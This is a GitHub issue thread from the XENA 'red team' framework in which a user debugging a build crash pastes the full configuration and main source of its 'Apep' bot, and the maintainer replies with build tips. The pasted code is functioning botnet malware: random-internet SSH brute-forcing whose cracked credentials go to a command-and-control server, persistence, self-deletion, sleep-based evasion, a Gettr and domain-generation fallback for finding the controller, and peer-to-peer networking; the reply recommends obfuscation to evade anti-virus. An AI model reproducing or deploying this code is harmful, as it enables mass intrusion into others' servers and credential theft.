zarkones / XENA

XENA is Software for Cyber-Security Automation, Adversary Simulations, and Red Team Operations. XENA strives to be fully integrated security penetration testing framework. It is equipped with a post-exploitation agent, C2 server, and a dark-themed elegant user interface.
https://xena.network
Other
211 stars 42 forks source link

Can't build Xena-Bot-Apep; Invalid memory address or nil pointer Segmentation Fault #54

Closed ghost closed 2 years ago

ghost commented 2 years ago

I have run into the same error on these platforms:

I have gotten everything set up via the script setup_linux_64bit and also by manually activating each service via npm commands. As well as docker manually creating each service and postgres container.

After the services are set up, and even just from getting atila, my key pair, the face and the tokens set up I change env to env.go and add my information and when I try to run the Apep bot each time i get this error:

gsk@3h-24-0a-31-6b:~/XENA/bots/xena-bot-apep$ go run main.go
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x5f7ad2]

goroutine 1 [running]:
xena/modules.ImportPEMPublicKey({0x9af82b?, 0xc00000e060?})
        /home/gsk/XENA/bots/xena-bot-apep/modules/crypto.go:68 +0x32
xena/config.init()
        /home/gsk/XENA/bots/xena-bot-apep/config/env.go:19 +0x27
exit status 2

I have manually done go get ... for each module that needs to be added. and running go build will build the executable "xena" in the folder. But running that produces the same error.

I have also tried running the main_win_32 & main_linux_64 executables that are generated after running go build and sh build.sh and it yeilds the same error. In and out of WSL2 and both the linux distrobutions.

my env.go

package config

import (
    "crypto/rsa"
    "xena/modules"
)

// RENAME INTO: env.go

// Main loop configuration.
var MaxLoopWait int = 10
var MinLoopWait int = 5

// Atila is a back-end command & control server.
var GatewayHost string = "http://localhost:60606"

// Trusted public key.
var TrustedPublicKeyPEM string = "-----BEGIN PUBLIC KEY-----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxFZOpaYy99ME5ZgE+L0KCy5tnVTblbgIAa4eVA6wSe8ZBx7qj3SZ61yv+iMrs9NK/92ZG96KzrP+YxqHTBhAKMKGLfE1xXmsfaQe4/4fb0WittmXt+eO8TbtAhZzvikV7lfSeHBTz4xIFWzG/wgq992PvfpUeF1UQkkW6AcLwLKmnRMEUUkKhT7QQyH+dU0mxFt6HH6uAzzra3dbHvS2n/EDo+3bZ0TQJRlRer+78MwfrtYZbPe3Jza/h6sZcY8yL/8NEu4YxgR9UM1uYPPRHae9rnE3dIJUKr138R7ifxMzwMBR6/XYvup9jO6r7iOGt5OzoTqY64sdAAhjpSTHMTKFEtUbYbnm/FIWjgBLFbCUWOt9tTJ6hdvW1Et4OP+u6yZsnMe0PYSQJHpT3S1HBfXitdruxBektytcUHRY5bT4k4wwukkGsrnm+WOiu/Tv/WADJasAdoZki+1FnUjP3Yfy6yo9UCL4DHiqKPxQ9bSovOQO4dyMRPqxcsb6ic4yzu6fHzjuTtNMBmdcrHTPstx7sHsa9nltAJ50MYAeBx9lhA7lnZUZaC/b3xJPWAM935iIZTyvtVEZgUhwwnhvyBhftngtkOzZp6bxNRmlcpPnJx3ssXhXusVeEwIFys2z4tZLDmrmrKTxyTb8MWq2SQ8+bWI1cySQf6WSH4xEUs0CAwEAAQ==-----END PUBLIC KEY-----"
var TrustedPublicKey *rsa.PublicKey = modules.ImportPEMPublicKey(TrustedPublicKeyPEM)

// Gettr fallback channel configuration.
var GettrProfileName string = ""

// Peer 2 Peer configuration.
var PeerPort string = "6006"

// Domain Generation Algorithm configuration.
var DgaSeed = 215

// DGA should kick in after X amount of days since the last successful contact with Atila. (cnc)
var DgaAfterDays = 7

// Sleep on start.
var Hybernate bool = false

// In minutes:
var HybernateMin int = 10
var HybernateMax int = 15

// SSH Cracker configuration.

// Enables or disables the SSH cracking.
var EnableSshCracker bool = true

// A number of GO threads which will run the crackers.
var SshThreads int = 32

// Delete its own binary file.
var RemoveSelf bool = false

var DiscordEnabled bool = false
var DiscordToken string = ""

I have added the public key both as is, with the line breaks (\n) after each block at each character as it was displayed when it wwas generated and have gone back and formatted it as one continuous string.

main.go

package main

import (
    "fmt"
    "math/rand"
    "net"
    "time"
    "xena/config"
    "xena/gateway"
    "xena/helpers"
    "xena/modules"
    "xena/networking"
    "xena/p2p"
    "xena/repository"
    "xena/services"

    "github.com/google/uuid"
)

// Last time since the contact was made with bot herder.
var lastContactMade int = helpers.TimeSinceJesus()

// Does Atila (cnc) knows about us?
var identified bool = false

// sshCrackRoutine is an infinite loop of cracking SSH service.
func sshCrackRoutine(gatewayHost string) {
    for {
        address := networking.IpRandomAddress()
        user := networking.RandomSshUser()
        pass := networking.RandomSshPass()

        err := networking.SshCheck(address, user, pass, 22)
        if err != nil {
            fmt.Println(err)
            continue
        }

        err = gateway.SubmitCreds(gatewayHost, gateway.Creds{
            Ip:   address,
            Port: 22,
            User: user,
            Pass: pass,
        })
        if err != nil {
            fmt.Println(err)
            continue
        }
    }
}

// tick is the content of the main loop. Returns false if something went wrong.
func tick(host string) bool {
    if !identified {
        err := gateway.Identify(host, config.ID, config.PublicIdentificationKey)
        if err != nil {
            fmt.Println(err)
            identified = false
            return false
        }
        identified = true
        return true
    }

    messages, err := gateway.FetchMessages(host, config.ID)
    if err != nil {
        fmt.Println(err)
        return false
    }

    for _, message := range messages {
        reply, err := gateway.InterpretMessage(message)
        if err != nil {
            fmt.Println(err)
            continue
        }

        err = gateway.SendMessage(host, reply)
        if err != nil {
            fmt.Println(err)
            continue
        }

        err = gateway.MessageAck(host, reply.ReplyTo)
        if err != nil {
            fmt.Println(err)
            continue
        }
    }

    return true
}

func initialize() {
    // Check if the bot is persistent within the environment, if not then persist.
    // But only if we're not set to remove the binary up on execution.
    if !config.RemoveSelf {
        if !modules.CheckIfPersisted() {
            err := modules.Persist()
            fmt.Println(err)
        }
    } else {
        err := modules.RemoveBinary()
        if err != nil {
            fmt.Println(err)
        }
    }

    // Initialize a SQLite database and run the migrations.
    err := repository.DB.Init(helpers.RandomPopularWordBySeed(helpers.IntegersFromString(modules.SelfHash)))
    if err != nil {
        fmt.Println(err)
        return
    }

    // Check the database for details about self.
    botDetails, err := repository.DetailsRepo.Get()
    if err != nil {
        fmt.Println(err)
        return
    }

    // Check if we ever saved details about ourselves.
    if len(botDetails.Id) == 0 && len(botDetails.PublicKey) == 0 && len(botDetails.PrivateKey) == 0 {
        // Key-pair used for signing and verifying messages.
        config.PrivateIdentificationKey = modules.GeneratePrivateKey()
        config.PublicIdentificationKey = &config.PrivateIdentificationKey.PublicKey
        // Generate the unique bot identifier.
        config.ID = uuid.New().String()

        // Save into the database.
        repository.DetailsRepo.Insert(config.ID, modules.PrivateKeyToPEM(config.PrivateIdentificationKey), modules.PublicKeyToPEM(config.PublicIdentificationKey))
    } else {
        // Load into global variables bot's details.
        config.PrivateIdentificationKey, err = modules.ImportPEMPrivateKey(botDetails.PrivateKey)
        if err != nil {
            panic(err)
        }
        config.PublicIdentificationKey = modules.ImportPEMPublicKey(botDetails.PublicKey)
        config.ID = botDetails.Id
    }

    // Ignite the SSH cracker.
    if config.EnableSshCracker {
        for i := 0; i < config.SshThreads; i++ {
            go sshCrackRoutine(config.GatewayHost)
        }
    }

    if config.DiscordEnabled {
        var discord = services.Discord{}
        err = discord.Init()
        if err != nil {
            fmt.Println(err)
        }
    }

    // Start the P2P server.
    var p2p p2p.P2P = p2p.P2P{}
    go p2p.BootServer(config.PeerPort)
}

// prepare handles the code executed immediately.
func prepare() {
    // Sleep for a certain amount of time. This way we'll avoid a lot of security solutions.
    // This is insufficient if an environment performs acceleration of the system's sleep call.
    if config.Hybernate {
        rand.Seed(time.Now().UnixNano())
        time.Sleep(time.Minute * time.Duration(rand.Intn(config.HybernateMax-config.HybernateMin)+config.HybernateMax))
    }

    // Calculate hash of itself, so that later we can delete the binary if needed.
    hash, err := modules.HashSelf()
    if err != nil {
        fmt.Println(err)
        panic(err)
    }
    modules.SelfHash = hash
}

func main() {
    // Perform certain actions prior to the execution of duties.
    prepare()

    // Once the bot is started we need to load some variables and prepare it for normal work.
    initialize()

    // Bot's main loop which performs the tick operation. Consider the tick operation the actual content of the main loop.
    for range time.Tick(time.Second * time.Duration(rand.Intn(config.MaxLoopWait-config.MinLoopWait)+config.MaxLoopWait)) {
        rand.Seed(time.Now().UnixNano())

        // We need to reach out to hardcoded host of Atila. (cnc)
        if tick(config.GatewayHost) {
            // Reset the timer of DGA and move on...
            lastContactMade = helpers.TimeSinceJesus()
            continue
        }

        // Reachout to Atila (cnc) host via 'website' property on a Gettr profile.
        if len(config.GettrProfileName) != 0 {
            gettrGatewayHost, err := services.GettrProfileWebsite(config.GettrProfileName)
            if err == nil && len(gettrGatewayHost) != 0 {
                if tick(gettrGatewayHost) {
                    // Reset the timer of DGA and move on...
                    lastContactMade = helpers.TimeSinceJesus()
                    continue
                }
            }
        }

        // Check if DGA should kick it.
        if helpers.TimeSinceJesus()-lastContactMade > config.DgaAfterDays {
            // Try to find the Atila (cnc) behind a generated domain.
            for _, host := range helpers.Dga(config.DgaSeed) {
                if _, err := net.LookupIP(host); err != nil {
                    continue
                }
                if tick(host) {
                    break
                }
            }
        }
    }
}
zarkones commented 2 years ago

This is a lot of useful information. Thank you for reporting this behavior.

  1. You could build using the cloud builder service. Bring up Xena-Service-Pyramid API as a Docker container and a Postgres database for it. Then from the UI you can build Apep using the /build page, which you can navigate to using the menu on the right side of the screen.

  2. If building Apep bot manually then you need to format the public key with the new lines in the string. \n <---- Also try building on a Linux machine (WSL that you mentioned) by executing build.sh script. Since it is recommended to apply binary obfuscation during the compile time. If that's not done, then the sample will be easier to discover by humans and anti-virus solutions. And much easier to debug thus reverse engineer.

If I understood you correctly those are the issues. Inform me if something else does not perform as expected.